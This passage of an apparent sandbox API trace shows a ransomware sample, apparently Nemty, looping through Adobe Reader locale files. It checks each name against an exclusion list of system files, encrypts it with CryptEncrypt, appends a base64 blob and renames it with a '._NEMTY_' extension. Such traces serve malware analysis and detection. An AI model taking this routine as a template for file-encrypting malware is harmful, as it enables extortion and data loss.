lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.363] CloseHandle (hObject=0x2e8) returned 1 [0179.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0179.363] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.364] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0179.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0179.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0179.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.364] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Acroform.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\acroform.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Acroform.KOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\acroform.kor._nemty_kgobjgd_")) returned 1 [0179.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0179.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0179.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.364] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AdobeCollabSync.KOR", cAlternateFileName="ADOBEC~1.KOR")) returned 1 [0179.364] lstrcmpiW (lpString1="AdobeCollabSync.KOR", lpString2=".") returned 1 [0179.365] lstrcmpiW (lpString1="AdobeCollabSync.KOR", lpString2="..") returned 1 [0179.365] lstrcmpiW (lpString1="AdobeCollabSync.KOR", lpString2="...") returned 1 [0179.365] lstrcmpiW (lpString1="AdobeCollabSync.KOR", lpString2="windows") returned -1 [0179.365] lstrcmpiW (lpString1="AdobeCollabSync.KOR", lpString2="$RECYCLE.BIN") returned 1 [0179.365] lstrcmpiW (lpString1="AdobeCollabSync.KOR", lpString2="rsa") returned -1 [0179.365] lstrcmpiW (lpString1="AdobeCollabSync.KOR", lpString2="NTDETECT.COM") returned -1 [0179.365] lstrcmpiW (lpString1="AdobeCollabSync.KOR", lpString2="ntldr") returned -1 [0179.365] lstrcmpiW (lpString1="AdobeCollabSync.KOR", lpString2="MSDOS.SYS") returned -1 [0179.365] lstrcmpiW (lpString1="AdobeCollabSync.KOR", lpString2="IO.SYS") returned -1 [0179.365] lstrcmpiW (lpString1="AdobeCollabSync.KOR", lpString2="boot.ini") returned -1 [0179.365] lstrcmpiW (lpString1="AdobeCollabSync.KOR", lpString2="boot.ini") returned -1 [0179.365] lstrcmpiW (lpString1="AdobeCollabSync.KOR", lpString2="AUTOEXEC.BAT") returned -1 [0179.365] lstrcmpiW (lpString1="AdobeCollabSync.KOR", lpString2="ntuser.dat") returned -1 [0179.365] lstrcmpiW (lpString1="AdobeCollabSync.KOR", lpString2="desktop.ini") returned -1 [0179.365] lstrcmpiW (lpString1="AdobeCollabSync.KOR", lpString2="CONFIG.SYS") returned -1 [0179.365] lstrcmpiW (lpString1="AdobeCollabSync.KOR", lpString2="RECYCLER") returned -1 [0179.365] lstrcmpiW (lpString1="AdobeCollabSync.KOR", lpString2="BOOTSECT.BAK") returned -1 [0179.365] lstrcmpiW (lpString1="AdobeCollabSync.KOR", lpString2="bootmgr") returned -1 [0179.365] lstrcmpiW (lpString1="AdobeCollabSync.KOR", lpString2="programdata") returned -1 [0179.365] lstrcmpiW (lpString1="AdobeCollabSync.KOR", lpString2="appdata") returned -1 [0179.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0179.365] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.KOR", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0179.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.365] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.KOR", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.KOR", lpUsedDefaultChar=0x0) returned 19 [0179.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0179.365] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.KOR", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0179.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.365] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.KOR", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.KOR", lpUsedDefaultChar=0x0) returned 19 [0179.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0179.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0179.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0179.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.KOR", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0179.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.KOR", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.KOR", lpUsedDefaultChar=0x0) returned 19 [0179.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0179.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0179.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.KOR", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0179.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.366] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.KOR", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.KOR", lpUsedDefaultChar=0x0) returned 19 [0179.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0179.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0179.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0179.366] Sleep (dwMilliseconds=0x5) [0179.366] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e8ec670, dwHighDateTime=0x1d561e8)) [0179.366] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e8ec670, dwHighDateTime=0x1d561e8)) [0179.367] GetLastError () returned 0x0 [0179.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.367] GetLastError () returned 0x0 [0179.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0179.367] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.367] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.367] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0179.367] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e5dc | out: pszString="X5F3XhZNfzEJCmTBZhFVzgLgsbW9sI7KH+zGLduDZEbn2KjdzEElVRbCmj+bX8c3\r\nEsEfdzhimYO8TNgjxbpUvNrzpqrEM0L6DsMvUgHWTUKqlXFL8ld7Gq+1my0ODgQ3\r\n9GtIqvz51XIiMnmcUFFIRveL5KBV4B0BVt26MffwmwtFo1Ssg7PMdc6XS8LnAcpm\r\nJtVy11f7d6s0bWOfTRsg1mVS48zeWNe+ATd+QC9j+l5XYdhnC/Z1yjzDyUFfPQAK\r\nJ2zWKgWDLh84a0SunY5Ub54YWAOqzTnBwdxc/8t45aTMg/FbiozpZLaZcwcN/6vU\r\nrIBC1hE2E/fMIb+vhxvhow==\r\n", pcchString=0x653e5dc) returned 1 [0179.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0179.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0179.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0179.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.367] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\AdobeCollabSync.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\adobecollabsync.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.367] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0179.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0179.368] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.368] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0179.369] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.370] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0179.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.370] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0179.370] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.370] CloseHandle (hObject=0x2e8) returned 1 [0179.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0179.370] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0179.370] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0179.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0179.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0179.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0179.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0179.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0179.370] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\AdobeCollabSync.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\adobecollabsync.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\AdobeCollabSync.KOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\adobecollabsync.kor._nemty_kgobjgd_")) returned 1 [0179.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0179.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0179.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0179.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.371] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82db9460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x56c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Annots.KOR", cAlternateFileName="")) returned 1 [0179.371] lstrcmpiW (lpString1="Annots.KOR", lpString2=".") returned 1 [0179.371] lstrcmpiW (lpString1="Annots.KOR", lpString2="..") returned 1 [0179.371] lstrcmpiW (lpString1="Annots.KOR", lpString2="...") returned 1 [0179.371] lstrcmpiW (lpString1="Annots.KOR", lpString2="windows") returned -1 [0179.371] lstrcmpiW (lpString1="Annots.KOR", lpString2="$RECYCLE.BIN") returned 1 [0179.371] lstrcmpiW (lpString1="Annots.KOR", lpString2="rsa") returned -1 [0179.371] lstrcmpiW (lpString1="Annots.KOR", lpString2="NTDETECT.COM") returned -1 [0179.371] lstrcmpiW (lpString1="Annots.KOR", lpString2="ntldr") returned -1 [0179.371] lstrcmpiW (lpString1="Annots.KOR", lpString2="MSDOS.SYS") returned -1 [0179.371] lstrcmpiW (lpString1="Annots.KOR", lpString2="IO.SYS") returned -1 [0179.371] lstrcmpiW (lpString1="Annots.KOR", lpString2="boot.ini") returned -1 [0179.371] lstrcmpiW (lpString1="Annots.KOR", lpString2="boot.ini") returned -1 [0179.371] lstrcmpiW (lpString1="Annots.KOR", lpString2="AUTOEXEC.BAT") returned -1 [0179.371] lstrcmpiW (lpString1="Annots.KOR", lpString2="ntuser.dat") returned -1 [0179.371] lstrcmpiW (lpString1="Annots.KOR", lpString2="desktop.ini") returned -1 [0179.371] lstrcmpiW (lpString1="Annots.KOR", lpString2="CONFIG.SYS") returned -1 [0179.371] lstrcmpiW (lpString1="Annots.KOR", lpString2="RECYCLER") returned -1 [0179.372] lstrcmpiW (lpString1="Annots.KOR", lpString2="BOOTSECT.BAK") returned -1 [0179.372] lstrcmpiW (lpString1="Annots.KOR", lpString2="bootmgr") returned -1 [0179.372] lstrcmpiW (lpString1="Annots.KOR", lpString2="programdata") returned -1 [0179.372] lstrcmpiW (lpString1="Annots.KOR", lpString2="appdata") returned -1 [0179.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.KOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0179.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.KOR", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.KOR", lpUsedDefaultChar=0x0) returned 10 [0179.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.KOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0179.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.KOR", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.KOR", lpUsedDefaultChar=0x0) returned 10 [0179.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.KOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0179.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.KOR", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.KOR", lpUsedDefaultChar=0x0) returned 10 [0179.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.KOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0179.372] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.KOR", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.KOR", lpUsedDefaultChar=0x0) returned 10 [0179.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0179.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0179.372] Sleep (dwMilliseconds=0x5) [0179.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e9127d0, dwHighDateTime=0x1d561e8)) [0179.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e9127d0, dwHighDateTime=0x1d561e8)) [0179.382] GetLastError () returned 0x0 [0179.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.382] GetLastError () returned 0x0 [0179.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.382] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.382] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.383] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0179.383] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="LkvqPQ7Bc5RQUli9dSA2NqnRvqr+OyntXJRETBq2jm7RUJ8sAvAcnKzWJ56dEsa5\r\n4OXndEqRukGgptb/eys050pojowPY42ynthOys6EybsRA2SGXm9sORnyHF/78v8p\r\nFhjbmAJUmSybs0uQ3RL+edFHcEP3b9MJe4okZdD7U92joltCSvdP3QMJe3ZTWxNw\r\nln5iQjo7BsriO6mBkPlagPS44j9U5AGU9EWy8i799BdWQbHs0dYcpw3wUrdiPhyS\r\nsiKtFVW40uzbn0azDnxIVSSq3mnR4enSRwzO6kO/IsxTYPJJyPtLdkJu0XrnEISV\r\nSNDnjNVHUqT73w6jymtzWw==\r\n", pcchString=0x653e5dc) returned 1 [0179.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.383] RtlAllocateHeap (HeapHandle=0x4f90000, 